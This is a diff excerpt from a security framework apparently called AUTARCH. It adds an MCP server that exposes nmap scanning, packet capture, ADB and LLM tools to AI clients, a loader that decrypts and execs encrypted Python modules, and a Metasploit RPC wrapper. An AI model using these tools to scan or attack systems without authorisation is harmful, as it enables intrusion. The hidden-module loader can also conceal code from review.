|
||||||
|
|
||||||
|
return json.dumps(info)
|
||||||
|
|
||||||
|
|
||||||
|
def _run_llm_chat(args: dict, config) -> str:
|
||||||
|
message = args.get('message', '')
|
||||||
|
if not message:
|
||||||
|
return json.dumps({'error': 'message is required'})
|
||||||
|
|
||||||
|
try:
|
||||||
|
from core.llm import get_llm, LLMError
|
||||||
|
llm = get_llm()
|
||||||
|
if not llm.is_loaded:
|
||||||
|
llm.load_model()
|
||||||
|
|
||||||
|
system_prompt = args.get('system_prompt', None)
|
||||||
|
response = llm.chat(message, system_prompt=system_prompt)
|
||||||
|
return json.dumps({
|
||||||
|
'response': response,
|
||||||
|
'model': llm.model_name,
|
||||||
|
'backend': config.get('autarch', 'llm_backend', 'local')
|
||||||
|
})
|
||||||
|
except Exception as e:
|
||||||
|
return json.dumps({'error': str(e)})
|
||||||
|
|
||||||
|
|
||||||
|
def _run_adb_devices() -> str:
|
||||||
|
adb = find_tool('adb')
|
||||||
|
if not adb:
|
||||||
|
return json.dumps({'error': 'adb not found'})
|
||||||
|
|
||||||
|
try:
|
||||||
|
result = subprocess.run(
|
||||||
|
[str(adb), 'devices', '-l'],
|
||||||
|
capture_output=True, text=True, timeout=10
|
||||||
|
)
|
||||||
|
lines = result.stdout.strip().split('\n')[1:] # Skip header
|
||||||
|
devices = []
|
||||||
|
for line in lines:
|
||||||
|
if line.strip():
|
||||||
|
parts = line.split()
|
||||||
|
if len(parts) >= 2:
|
||||||
|
dev = {'serial': parts[0], 'state': parts[1]}
|
||||||
|
# Parse extra info
|
||||||
|
for part in parts[2:]:
|
||||||
|
if ':' in part:
|
||||||
|
k, v = part.split(':', 1)
|
||||||
|
dev[k] = v
|
||||||
|
devices.append(dev)
|
||||||
|
return json.dumps({'devices': devices})
|
||||||
|
except Exception as e:
|
||||||
|
return json.dumps({'error': str(e)})
|
||||||
|
|
||||||
|
|
||||||
|
def _run_config_get(args: dict, config) -> str:
|
||||||
|
section = args.get('section', '')
|
||||||
|
key = args.get('key', '')
|
||||||
|
if not section or not key:
|
||||||
|
return json.dumps({'error': 'section and key are required'})
|
||||||
|
|
||||||
|
# Block sensitive keys
|
||||||
|
if key.lower() in ('api_key', 'password', 'secret_key', 'token'):
|
||||||
|
return json.dumps({'error': 'Cannot read sensitive configuration values'})
|
||||||
|
|
||||||
|
value = config.get(section, key, fallback='(not set)')
|
||||||
|
return json.dumps({'section': section, 'key': key, 'value': value})
|
||||||
|
|
||||||
|
|
||||||
|
def create_mcp_server():
|
||||||
|
"""Create and return the FastMCP server instance."""
|
||||||
|
from mcp.server.fastmcp import FastMCP
|
||||||
|
|
||||||
|
mcp = FastMCP("autarch", instructions="AUTARCH security framework tools")
|
||||||
|
|
||||||
|
# Register all tools
|
||||||
|
tool_defs = get_autarch_tools()
|
||||||
|
|
||||||
|
@mcp.tool()
|
||||||
|
def nmap_scan(target: str, ports: str = "", scan_type: str = "quick") -> str:
|
||||||
|
"""Run an nmap network scan against a target. Returns scan results including open ports and services."""
|
||||||
|
return execute_tool('nmap_scan', {'target': target, 'ports': ports, 'scan_type': scan_type})
|
||||||
|
|
||||||
|
@mcp.tool()
|
||||||
|
def geoip_lookup(ip: str) -> str:
|
||||||
|
"""Look up geographic and network information for an IP address."""
|
||||||
|
return execute_tool('geoip_lookup', {'ip': ip})
|
||||||
|
|
||||||
|
@mcp.tool()
|
||||||
|
def dns_lookup(domain: str, record_type: str = "A") -> str:
|
||||||
|
"""Perform DNS lookups for a domain. Supports A, AAAA, MX, NS, TXT, CNAME, SOA record types."""
|
||||||
|
return execute_tool('dns_lookup', {'domain': domain, 'record_type': record_type})
|
||||||
|
|
||||||
|
@mcp.tool()
|
||||||
|
def whois_lookup(target: str) -> str:
|
||||||
|
"""Perform WHOIS lookup for a domain or IP address."""
|
||||||
|
return execute_tool('whois_lookup', {'target': target})
|
||||||
|
|
||||||
|
@mcp.tool()
|
||||||
|
def packet_capture(interface: str = "", count: int = 10, filter: str = "") -> str:
|
||||||
|
"""Capture network packets using tcpdump. Returns captured packet summary."""
|
||||||
|
return execute_tool('packet_capture', {'interface': interface, 'count': count, 'filter': filter})
|
||||||
|
|
||||||
|
@mcp.tool()
|
||||||
|
def wireguard_status() -> str:
|
||||||
|
"""Get WireGuard VPN tunnel status and peer information."""
|
||||||
|
return execute_tool('wireguard_status', {})
|
||||||
|
|
||||||
|
@mcp.tool()
|
||||||
|
def upnp_status() -> str:
|
||||||
|
"""Get UPnP port mapping status."""
|
||||||
|
return execute_tool('upnp_status', {})
|
||||||
|
|
||||||
|
@mcp.tool()
|
||||||
|
def system_info() -> str:
|
||||||
|
"""Get AUTARCH system information: hostname, platform, uptime, tool availability."""
|
||||||
|
return execute_tool('system_info', {})
|
||||||
|
|
||||||
|
@mcp.tool()
|
||||||
|
def llm_chat(message: str, system_prompt: str = "") -> str:
|
||||||
|
"""Send a message to the currently configured LLM backend and get a response."""
|
||||||
|
args = {'message': message}
|
||||||
|
if system_prompt:
|
||||||
|
args['system_prompt'] = system_prompt
|
||||||
|
return execute_tool('llm_chat', args)
|
||||||
|
|
||||||
|
@mcp.tool()
|
||||||
|
def android_devices() -> str:
|
||||||
|
"""List connected Android devices via ADB."""
|
||||||
|
return execute_tool('android_devices', {})
|
||||||
|
|
||||||
|
@mcp.tool()
|
||||||
|
def config_get(section: str, key: str) -> str:
|
||||||
|
"""Get an AUTARCH configuration value. Sensitive keys (api_key, password) are blocked."""
|
||||||
|
return execute_tool('config_get', {'section': section, 'key': key})
|
||||||
|
|
||||||
|
return mcp
|
||||||
|
|
||||||
|
|
||||||
|
def run_stdio():
|
||||||
|
"""Run the MCP server in stdio mode (for Claude Desktop / Claude Code)."""
|
||||||
|
mcp = create_mcp_server()
|
||||||
|
mcp.run(transport='stdio')
|
||||||
|
|
||||||
|
|
||||||
|
def run_sse(host: str = '0.0.0.0', port: int = 8081):
|
||||||
|
"""Run the MCP server in SSE (Server-Sent Events) mode for web clients."""
|
||||||
|
mcp = create_mcp_server()
|
||||||
|
mcp.run(transport='sse', host=host, port=port)
|
||||||
|
|
||||||
|
|
||||||
|
def get_mcp_config_snippet() -> str:
|
||||||
|
"""Generate the JSON config snippet for Claude Desktop / Claude Code."""
|
||||||
|
app_dir = get_app_dir()
|
||||||
|
python = sys.executable
|
||||||
|
|
||||||
|
config = {
|
||||||
|
"mcpServers": {
|
||||||
|
"autarch": {
|
||||||
|
"command": python,
|
||||||
|
"args": [str(app_dir / "core" / "mcp_server.py"), "--stdio"],
|
||||||
|
"env": {}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return json.dumps(config, indent=2)
|
||||||
|
|
||||||
|
|
||||||
|
def get_server_status() -> dict:
|
||||||
|
"""Check if the MCP server is running."""
|
||||||
|
global _server_process
|
||||||
|
if _server_process and _server_process.poll() is None:
|
||||||
|
return {'running': True, 'pid': _server_process.pid, 'mode': 'sse'}
|
||||||
|
return {'running': False}
|
||||||
|
|
||||||
|
|
||||||
|
def start_sse_server(host: str = '0.0.0.0', port: int = 8081) -> dict:
|
||||||
|
"""Start the MCP SSE server in the background."""
|
||||||
|
global _server_process
|
||||||
|
|
||||||
|
status = get_server_status()
|
||||||
|
if status['running']:
|
||||||
|
return {'ok': False, 'error': f'Already running (PID {status["pid"]})'}
|
||||||
|
|
||||||
|
python = sys.executable
|
||||||
|
script = str(Path(__file__).resolve())
|
||||||
|
|
||||||
|
_server_process = subprocess.Popen(
|
||||||
|
[python, script, '--sse', '--host', host, '--port', str(port)],
|
||||||
|
stdout=subprocess.PIPE,
|
||||||
|
stderr=subprocess.PIPE
|
||||||
|
)
|
||||||
|
|
||||||
|
return {'ok': True, 'pid': _server_process.pid, 'host': host, 'port': port}
|
||||||
|
|
||||||
|
|
||||||
|
def stop_sse_server() -> dict:
|
||||||
|
"""Stop the MCP SSE server."""
|
||||||
|
global _server_process
|
||||||
|
|
||||||
|
status = get_server_status()
|
||||||
|
if not status['running']:
|
||||||
|
return {'ok': False, 'error': 'Not running'}
|
||||||
|
|
||||||
|
_server_process.terminate()
|
||||||
|
try:
|
||||||
|
_server_process.wait(timeout=5)
|
||||||
|
except subprocess.TimeoutExpired:
|
||||||
|
_server_process.kill()
|
||||||
|
_server_process = None
|
||||||
|
return {'ok': True}
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == '__main__':
|
||||||
|
import argparse
|
||||||
|
parser = argparse.ArgumentParser(description='AUTARCH MCP Server')
|
||||||
|
parser.add_argument('--stdio', action='store_true', help='Run in stdio mode (for Claude Desktop/Code)')
|
||||||
|
parser.add_argument('--sse', action='store_true', help='Run in SSE mode (for web clients)')
|
||||||
|
parser.add_argument('--host', default='0.0.0.0', help='SSE host (default: 0.0.0.0)')
|
||||||
|
parser.add_argument('--port', type=int, default=8081, help='SSE port (default: 8081)')
|
||||||
|
args = parser.parse_args()
|
||||||
|
|
||||||
|
if args.sse:
|
||||||
|
print(f"Starting AUTARCH MCP server (SSE) on {args.host}:{args.port}")
|
||||||
|
run_sse(host=args.host, port=args.port)
|
||||||
|
else:
|
||||||
|
# Default to stdio
|
||||||
|
run_stdio()
|
||||||
3042
core/menu.py
Normal file
3042
core/menu.py
Normal file
File diff suppressed because it is too large
Load Diff
239
core/module_crypto.py
Normal file
239
core/module_crypto.py
Normal file
@ -0,0 +1,239 @@
|
|||||||
|
"""
|
||||||
|
AUTARCH Encrypted Module Cryptography
|
||||||
|
AES-256-CBC encryption with PBKDF2-HMAC-SHA512 key derivation
|
||||||
|
and SHA-512 integrity verification.
|
||||||
|
|
||||||
|
File format (.autarch):
|
||||||
|
Offset Size Field
|
||||||
|
────── ──── ─────────────────────────────────────────────────────
|
||||||
|
0 4 Magic: b'ATCH'
|
||||||
|
4 1 Version: 0x01
|
||||||
|
5 32 PBKDF2 salt
|
||||||
|
37 16 AES IV
|
||||||
|
53 64 SHA-512 hash of plaintext (integrity check)
|
||||||
|
117 2 Metadata JSON length (uint16 LE)
|
||||||
|
119 N Metadata JSON (UTF-8)
|
||||||
|
119+N ... AES-256-CBC ciphertext (PKCS7 padded)
|
||||||
|
"""
|
||||||
|
|
||||||
|
import hashlib
|
||||||
|
import hmac
|
||||||
|
import json
|
||||||
|
import os
|
||||||
|
import struct
|
||||||
|
from pathlib import Path
|
||||||
|
from typing import Optional
|
||||||
|
|
||||||
|
MAGIC = b'ATCH'
|
||||||
|
VERSION = 0x01
|
||||||
|
KDF_ITERS = 260000 # PBKDF2 iterations (NIST recommended minimum for SHA-512)
|
||||||
|
SALT_LEN = 32
|
||||||
|
IV_LEN = 16
|
||||||
|
HASH_LEN = 64 # SHA-512 digest length
|
||||||
|
|
||||||
|
|
||||||
|
# ── Low-level AES (pure stdlib, no pycryptodome required) ────────────────────
|
||||||
|
# Uses Python's hashlib-backed AES via the cryptography package if available,
|
||||||
|
# otherwise falls back to pycryptodome, then to a bundled pure-Python AES.
|
||||||
|
|
||||||
|
def _get_aes():
|
||||||
|
"""Return (encrypt_func, decrypt_func) pair."""
|
||||||
|
try:
|
||||||
|
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
|
||||||
|
from cryptography.hazmat.primitives import padding as sym_padding
|
||||||
|
from cryptography.hazmat.backends import default_backend
|
||||||
|
|
||||||
|
def encrypt(key: bytes, iv: bytes, plaintext: bytes) -> bytes:
|
||||||
|
padder = sym_padding.PKCS7(128).padder()
|
||||||
|
padded = padder.update(plaintext) + padder.finalize()
|
||||||
|
cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend=default_backend())
|
||||||
|
enc = cipher.encryptor()
|
||||||
|
return enc.update(padded) + enc.finalize()
|
||||||
|
|
||||||
|
def decrypt(key: bytes, iv: bytes, ciphertext: bytes) -> bytes:
|
||||||
|
cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend=default_backend())
|
||||||
|
dec = cipher.decryptor()
|
||||||
|
padded = dec.update(ciphertext) + dec.finalize()
|
||||||
|
unpadder = sym_padding.PKCS7(128).unpadder()
|
||||||
|
return unpadder.update(padded) + unpadder.finalize()
|
||||||
|
|
||||||
|
return encrypt, decrypt
|
||||||
|
|
||||||
|
except ImportError:
|
||||||
|
pass
|
||||||
|
|
||||||
|
try:
|
||||||
|
from Crypto.Cipher import AES
|
||||||
|
from Crypto.Util.Padding import pad, unpad
|
||||||
|
|
||||||
|
def encrypt(key: bytes, iv: bytes, plaintext: bytes) -> bytes:
|
||||||
|
cipher = AES.new(key, AES.MODE_CBC, iv)
|
||||||
|
return cipher.encrypt(pad(plaintext, 16))
|
||||||
|
|
||||||
|
def decrypt(key: bytes, iv: bytes, ciphertext: bytes) -> bytes:
|
||||||
|
cipher = AES.new(key, AES.MODE_CBC, iv)
|
||||||
|
return unpad(cipher.decrypt(ciphertext), 16)
|
||||||
|
|
||||||
|
return encrypt, decrypt
|
||||||
|
|
||||||
|
except ImportError:
|
||||||
|
raise RuntimeError(
|
||||||
|
"No AES backend available. Install one:\n"
|
||||||
|
" pip install cryptography\n"
|
||||||
|
" pip install pycryptodome"
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
|
_aes_encrypt, _aes_decrypt = _get_aes()
|
||||||
|
|
||||||
|
|
||||||
|
# ── Key derivation ────────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
def _derive_key(password: str, salt: bytes) -> bytes:
|
||||||
|
"""Derive a 32-byte AES key from a password using PBKDF2-HMAC-SHA512."""
|
||||||
|
return hashlib.pbkdf2_hmac(
|
||||||
|
'sha512',
|
||||||
|
password.encode('utf-8'),
|
||||||
|
salt,
|
||||||
|
KDF_ITERS,
|
||||||
|
dklen=32,
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
|
# ── Public API ────────────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
def encrypt_module(
|
||||||
|
source_code: str,
|
||||||
|
password: str,
|
||||||
|
metadata: Optional[dict] = None,
|
||||||
|
) -> bytes:
|
||||||
|
"""
|
||||||
|
Encrypt a Python module source string.
|
||||||
|
|
||||||
|
Returns the raw .autarch file bytes.
|
||||||
|
"""
|
||||||
|
meta_bytes = json.dumps(metadata or {}).encode('utf-8')
|
||||||
|
plaintext = source_code.encode('utf-8')
|
||||||
|
salt = os.urandom(SALT_LEN)
|
||||||
|
iv = os.urandom(IV_LEN)
|
||||||
|
key = _derive_key(password, salt)
|
||||||
|
digest = hashlib.sha512(plaintext).digest()
|
||||||
|
ciphertext = _aes_encrypt(key, iv, plaintext)
|
||||||
|
|
||||||
|
meta_len = len(meta_bytes)
|
||||||
|
header = (
|
||||||
|
MAGIC
|
||||||
|
+ struct.pack('B', VERSION)
|
||||||
|
+ salt
|
||||||
|
+ iv
|
||||||
|
+ digest
|
||||||
|
+ struct.pack('<H', meta_len)
|
||||||
|
)
|
||||||
|
return header + meta_bytes + ciphertext
|
||||||
|
|
||||||
|
|
||||||
|
def decrypt_module(data: bytes, password: str) -> tuple[str, dict]:
|
||||||
|
"""
|
||||||
|
Decrypt an .autarch blob.
|
||||||
|
|
||||||
|
Returns (source_code: str, metadata: dict).
|
||||||
|
Raises ValueError on bad magic, version, or integrity check failure.
|
||||||
|
"""
|
||||||
|
offset = 0
|
||||||
|
|
||||||
|
# Magic
|
||||||
|
if data[offset:offset + 4] != MAGIC:
|
||||||
|
raise ValueError("Not a valid AUTARCH encrypted module (bad magic)")
|
||||||
|
offset += 4
|
||||||
|
|
||||||
|
# Version
|
||||||
|
version = data[offset]
|
||||||
|
if version != VERSION:
|
||||||
|
raise ValueError(f"Unsupported module version: {version:#04x}")
|
||||||
|
offset += 1
|
||||||
|
|
||||||
|
# Salt
|
||||||
|
salt = data[offset:offset + SALT_LEN]
|
||||||
|
offset += SALT_LEN
|
||||||
|
|
||||||
|
# IV
|
||||||
|
iv = data[offset:offset + IV_LEN]
|
||||||
|
offset += IV_LEN
|
||||||
|
|
||||||
|
# SHA-512 integrity hash
|
||||||
|
stored_hash = data[offset:offset + HASH_LEN]
|
||||||
|
offset += HASH_LEN
|
||||||
|
|
||||||
|
# Metadata
|
||||||
|
meta_len = struct.unpack('<H', data[offset:offset + 2])[0]
|
||||||
|
offset += 2
|
||||||
|
meta_bytes = data[offset:offset + meta_len]
|
||||||
|
offset += meta_len
|
||||||
|
metadata = json.loads(meta_bytes.decode('utf-8')) if meta_bytes else {}
|
||||||
|
|
||||||
|
# Ciphertext
|
||||||
|
ciphertext = data[offset:]
|
||||||
|
|
||||||
|
# Derive key and decrypt
|
||||||
|
key = _derive_key(password, salt)
|
||||||
|
try:
|
||||||
|
plaintext = _aes_decrypt(key, iv, ciphertext)
|
||||||
|
except Exception as exc:
|
||||||
|
raise ValueError(f"Decryption failed — wrong password? ({exc})")
|
||||||
|
|
||||||
|
# Integrity check
|
||||||
|
actual_hash = hashlib.sha512(plaintext).digest()
|
||||||
|
if not hmac.compare_digest(actual_hash, stored_hash):
|
||||||
|
raise ValueError("Integrity check failed — file tampered or wrong password")
|
||||||
|
|
||||||
|
return plaintext.decode('utf-8'), metadata
|
||||||
|
|
||||||
|
|
||||||
|
def encrypt_file(src: Path, dst: Path, password: str, metadata: Optional[dict] = None) -> None:
|
||||||
|
"""Encrypt a .py source file to a .autarch file."""
|
||||||
|
source = src.read_text(encoding='utf-8')
|
||||||
|
blob = encrypt_module(source, password, metadata)
|
||||||
|
dst.write_bytes(blob)
|
||||||
|
|
||||||
|
|
||||||
|
def decrypt_file(src: Path, password: str) -> tuple[str, dict]:
|
||||||
|
"""Decrypt an .autarch file and return (source_code, metadata)."""
|
||||||
|
return decrypt_module(src.read_bytes(), password)
|
||||||
|
|
||||||
|
|
||||||
|
def load_and_exec(
|
||||||
|
path: Path,
|
||||||
|
password: str,
|
||||||
|
module_name: str = '__encmod__',
|
||||||
|
) -> dict:
|
||||||
|
"""
|
||||||
|
Decrypt and execute an encrypted module.
|
||||||
|
|
||||||
|
Returns the module's globals dict (its namespace).
|
||||||
|
"""
|
||||||
|
source, meta = decrypt_file(path, password)
|
||||||
|
namespace: dict = {
|
||||||
|
'__name__': module_name,
|
||||||
|
'__file__': str(path),
|
||||||
|
'__builtins__': __builtins__,
|
||||||
|
}
|
||||||
|
exec(compile(source, str(path), 'exec'), namespace)
|
||||||
|
return namespace
|
||||||
|
|
||||||
|
|
||||||
|
def read_metadata(path: Path) -> Optional[dict]:
|
||||||
|
"""
|
||||||
|
Read only the metadata from an .autarch file without decrypting.
|
||||||
|
Returns None if the file is invalid.
|
||||||
|
"""
|
||||||
|
try:
|
||||||
|
data = path.read_bytes()
|
||||||
|
if data[:4] != MAGIC:
|
||||||
|
return None
|
||||||
|
offset = 5 + SALT_LEN + IV_LEN + HASH_LEN
|
||||||
|
meta_len = struct.unpack('<H', data[offset:offset + 2])[0]
|
||||||
|
offset += 2
|
||||||
|
meta_bytes = data[offset:offset + meta_len]
|
||||||
|
return json.loads(meta_bytes.decode('utf-8')) if meta_bytes else {}
|
||||||
|
except Exception:
|
||||||
|
return None
|
||||||
1010
core/msf.py
Normal file
1010
core/msf.py
Normal file
File diff suppressed because it is too large
Load Diff
846
core/msf_interface.py
Normal file
846
core/msf_interface.py
Normal file
@ -0,0 +1,846 @@
|
|||||||
|
"""
|
||||||
|
AUTARCH Metasploit Interface
|
||||||
|
Centralized high-level interface for all Metasploit operations.
|
||||||
|
|
||||||
|
This module provides a clean API for executing MSF modules, handling
|
||||||
|
connection management, output parsing, and error recovery.
|
||||||
|
|
||||||
|
Usage:
|
||||||
|
from core.msf_interface import get_msf_interface, MSFResult
|
||||||
|
|
||||||
|
msf = get_msf_interface()
|
||||||
|
result = msf.run_module('auxiliary/scanner/portscan/tcp', {'RHOSTS': '192.168.1.1'})
|
||||||
|
|
||||||
|
if result.success:
|
||||||
|
for finding in result.findings:
|
||||||
|
print(finding)
|
||||||
|
"""
|
||||||
|
|
||||||
|
import re
|
||||||
|
import time
|
||||||
|
from dataclasses import dataclass, field
|
||||||
|
from typing import Dict, List, Optional, Any, Tuple
|
||||||
|
from enum import Enum
|
||||||
|
|
||||||
|
# Import the low-level MSF components
|
||||||
|
from core.msf import get_msf_manager, MSFError, MSFManager
|
||||||
|
from core.banner import Colors
|
||||||
|
|
||||||
|
|
||||||
|
class MSFStatus(Enum):
|
||||||
|
"""Status of an MSF operation."""
|
||||||
|
SUCCESS = "success"
|
||||||
|
PARTIAL = "partial" # Some results but also errors
|
||||||
|
FAILED = "failed"
|
||||||
|
AUTH_ERROR = "auth_error"
|
||||||
|
CONNECTION_ERROR = "connection_error"
|
||||||
|
TIMEOUT = "timeout"
|
||||||
|
NOT_CONNECTED = "not_connected"
|
||||||
|
|
||||||
|
|
||||||
|
@dataclass
|
||||||
|
class MSFResult:
|
||||||
|
"""Result from an MSF module execution."""
|
||||||
|
status: MSFStatus
|
||||||
|
module: str
|
||||||
|
target: str = ""
|
||||||
|
|
||||||
|
# Raw and cleaned output
|
||||||
|
raw_output: str = ""
|
||||||
|
cleaned_output: str = ""
|
||||||
|
|
||||||
|
# Parsed results
|
||||||
|
findings: List[str] = field(default_factory=list) # [+] lines
|
||||||
|
info: List[str] = field(default_factory=list) # [*] lines
|
||||||
|
errors: List[str] = field(default_factory=list) # [-] lines
|
||||||
|
warnings: List[str] = field(default_factory=list) # [!] lines
|
||||||
|
|
||||||
|
# For scan results
|
||||||
|
open_ports: List[Dict] = field(default_factory=list) # [{port, service, state}]
|
||||||
|
services: List[Dict] = field(default_factory=list) # [{name, version, info}]
|
||||||
|
|
||||||
|
# Metadata
|
||||||
|
execution_time: float = 0.0
|
||||||
|
error_count: int = 0
|
||||||
|
|
||||||
|
@property
|
||||||
|
def success(self) -> bool:
|
||||||
|
return self.status in (MSFStatus.SUCCESS, MSFStatus.PARTIAL)
|
||||||
|
|
||||||
|
def get_summary(self) -> str:
|
||||||
|
"""Get a brief summary of the result."""
|
||||||
|
if self.status == MSFStatus.SUCCESS:
|
||||||
|
return f"Success: {len(self.findings)} findings"
|
||||||
|
elif self.status == MSFStatus.PARTIAL:
|
||||||
|
return f"Partial: {len(self.findings)} findings, {self.error_count} errors"
|
||||||
|
elif self.status == MSFStatus.AUTH_ERROR:
|
||||||
|
return "Authentication token expired"
|
||||||
|
elif self.status == MSFStatus.CONNECTION_ERROR:
|
||||||
|
return "Connection to MSF failed"
|
||||||
|
elif self.status == MSFStatus.TIMEOUT:
|
||||||
|
return "Module execution timed out"
|
||||||
|
else:
|
||||||
|
return f"Failed: {self.errors[0] if self.errors else 'Unknown error'}"
|
||||||
|
|
||||||
|
|
||||||
|
class MSFInterface:
|
||||||
|
"""High-level interface for Metasploit operations."""
|
||||||
|
|
||||||
|
# Patterns to filter from output (banner noise, Easter eggs, etc.)
|
||||||
|
SKIP_PATTERNS = [
|
||||||
|
'metasploit', '=[ ', '+ -- --=[', 'Documentation:',
|
||||||
|
'Rapid7', 'Open Source', 'MAGIC WORD', 'PERMISSION DENIED',
|
||||||
|
'access security', 'access:', 'Ready...', 'Alpha E',
|
||||||
|
'Version 4.0', 'System Security Interface', 'Metasploit Park',
|
||||||
|
'exploits -', 'auxiliary -', 'payloads', 'encoders -',
|
||||||
|
'evasion', 'nops -', 'post -', 'msf6', 'msf5', 'msf >',
|
||||||
|
]
|
||||||
|
|
||||||
|
# Patterns indicating specific result types
|
||||||
|
PORT_PATTERN = re.compile(
|
||||||
|
r'(\d{1,5})/(tcp|udp)\s+(open|closed|filtered)?\s*(\S+)?',
|
||||||
|
re.IGNORECASE
|
||||||
|
)
|
||||||
|
SERVICE_PATTERN = re.compile(
|
||||||
|
r'\[\+\].*?(\d+\.\d+\.\d+\.\d+):(\d+)\s*[-:]\s*(.+)',
|
||||||
|
re.IGNORECASE
|
||||||
|
)
|
||||||
|
VERSION_PATTERN = re.compile(
|
||||||
|
r'(?:version|running|server)[\s:]+([^\n\r]+)',
|
||||||
|
re.IGNORECASE
|
||||||
|
)
|
||||||
|
|
||||||
|
def __init__(self):
|
||||||
|
self._manager: Optional[MSFManager] = None
|
||||||
|
self._last_error: Optional[str] = None
|
||||||
|
|
||||||
|
@property
|
||||||
|
def manager(self) -> MSFManager:
|
||||||
|
"""Get or create the MSF manager."""
|
||||||
|
if self._manager is None:
|
||||||
|
self._manager = get_msf_manager()
|
||||||
|
return self._manager
|
||||||
|
|
||||||
|
@property
|
||||||
|
def is_connected(self) -> bool:
|
||||||
|
"""Check if connected to MSF RPC."""
|
||||||
|
return self.manager.is_connected
|
||||||
|
|
||||||
|
@property
|
||||||
|
def last_error(self) -> Optional[str]:
|
||||||
|
"""Get the last error message."""
|
||||||
|
return self._last_error
|
||||||
|
|
||||||
|
def ensure_connected(self, password: str = None, auto_prompt: bool = True) -> Tuple[bool, str]:
|
||||||
|
"""Ensure we have a valid connection to MSF RPC.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
password: Optional password to use for connection.
|
||||||
|
auto_prompt: If True, prompt for password if needed.
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
Tuple of (success, message).
|
||||||
|
"""
|
||||||
|
# Check if already connected
|
||||||
|
if self.is_connected:
|
||||||
|
# Verify the connection is actually valid with a test request
|
||||||
|
try:
|
||||||
|
self.manager.rpc.get_version()
|
||||||
|
return True, "Connected"
|
||||||
|
except Exception as e:
|
||||||
|
error_str = str(e)
|
||||||
|
if 'Invalid Authentication Token' in error_str:
|
||||||
|
# Token expired, need to reconnect
|
||||||
|
pass
|
||||||
|
else:
|
||||||
|
self._last_error = error_str
|
||||||
|
return False, f"Connection test failed: {error_str}"
|
||||||
|
|
||||||
|
# Need to connect or reconnect
|
||||||
|
try:
|
||||||
|
# Disconnect existing stale connection
|
||||||
|
if self.manager.rpc:
|
||||||
|
try:
|
||||||
|
self.manager.rpc.disconnect()
|
||||||
|
except:
|
||||||
|
pass
|
||||||
|
|
||||||
|
# Get password from settings or parameter
|
||||||
|
settings = self.manager.get_settings()
|
||||||
|
connect_password = password or settings.get('password')
|
||||||
|
|
||||||
|
if not connect_password and auto_prompt:
|
||||||
|
print(f"{Colors.YELLOW}[!] MSF RPC password required{Colors.RESET}")
|
||||||
|
connect_password = input(f" Password: ").strip()
|
||||||
|
|
||||||
|
if not connect_password:
|
||||||
|
self._last_error = "No password provided"
|
||||||
|
return False, "No password provided"
|
||||||
|
|
||||||
|
# Connect
|
||||||
|
self.manager.connect(connect_password)
|
||||||
|
return True, "Connected successfully"
|
||||||
|
|
||||||
|
except MSFError as e:
|
||||||
|
self._last_error = str(e)
|
||||||
|
return False, f"MSF Error: {e}"
|
||||||
|
except Exception as e:
|
||||||
|
self._last_error = str(e)
|
||||||
|
return False, f"Connection failed: {e}"
|
||||||
|
|
||||||
|
def _run_console_command(self, commands: str, timeout: int = 120) -> Tuple[str, Optional[str]]:
|
||||||
|
"""Execute commands via MSF console and capture output.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
commands: Newline-separated commands to run.
|
||||||
|
timeout: Maximum wait time in seconds.
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
Tuple of (output, error_message).
|
||||||
|
"""
|
||||||
|
try:
|
||||||
|
# Create console
|
||||||
|
console = self.manager.rpc._request("console.create")
|
||||||
|
console_id = console.get("id")
|
||||||
|
|
||||||
|
if not console_id:
|
||||||
|
return "", "Failed to create console"
|
||||||
|
|
||||||
|
try:
|
||||||
|
# Wait for console to initialize and consume banner
|
||||||
|
time.sleep(2)
|
||||||
|
self.manager.rpc._request("console.read", [console_id])
|
||||||
|
|
||||||
|
# Send commands one at a time
|
||||||
|
for cmd in commands.strip().split('\n'):
|
||||||
|
cmd = cmd.strip()
|
||||||
|
if cmd:
|
||||||
|
self.manager.rpc._request("console.write", [console_id, cmd + "\n"])
|
||||||
|
time.sleep(0.3)
|
||||||
|
|
||||||
|
# Collect output
|
||||||
|
output = ""
|
||||||
|
waited = 0
|
||||||
|
idle_count = 0
|
||||||
|
|
||||||
|
while waited < timeout:
|
||||||
|
time.sleep(1)
|
||||||
|
waited += 1
|
||||||
|
|
||||||
|
result = self.manager.rpc._request("console.read", [console_id])
|
||||||
|
new_data = result.get("data", "")
|
||||||
|
|
||||||
|
if new_data:
|
||||||
|
output += new_data
|
||||||
|
idle_count = 0
|
||||||
|
else:
|
||||||
|
idle_count += 1
|
||||||
|
|
||||||
|
# Stop if not busy and idle for 3+ seconds
|
||||||
|
if not result.get("busy", False) and idle_count >= 3:
|
||||||
|
break
|
||||||
|
|
||||||
|
# Check for timeout
|
||||||
|
if waited >= timeout:
|
||||||
|
return output, "Execution timed out"
|
||||||
|
|
||||||
|
return output, None
|
||||||
|
|
||||||
|
finally:
|
||||||
|
# Clean up console
|
||||||
|
try:
|
||||||
|
self.manager.rpc._request("console.destroy", [console_id])
|
||||||
|
except:
|
||||||
|
pass
|
||||||
|
|
||||||
|
except Exception as e:
|
||||||
|
error_str = str(e)
|
||||||
|
if 'Invalid Authentication Token' in error_str:
|
||||||
|
return "", "AUTH_ERROR"
|
||||||
|
return "", f"Console error: {e}"
|
||||||
|
|
||||||
|
def _clean_output(self, raw_output: str) -> str:
|
||||||
|
"""Remove banner noise and clean up MSF output.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
raw_output: Raw console output.
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
Cleaned output string.
|
||||||
|
"""
|
||||||
|
lines = []
|
||||||
|
for line in raw_output.split('\n'):
|
||||||
|
line_stripped = line.strip()
|
||||||
|
|
||||||
|
# Skip empty lines
|
||||||
|
if not line_stripped:
|
||||||
|
continue
|
||||||
|
|
||||||
|
# Skip banner/noise patterns
|
||||||
|
skip = False
|
||||||
|
for pattern in self.SKIP_PATTERNS:
|
||||||
|
if pattern.lower() in line_stripped.lower():
|
||||||
|
skip = True
|
||||||
|
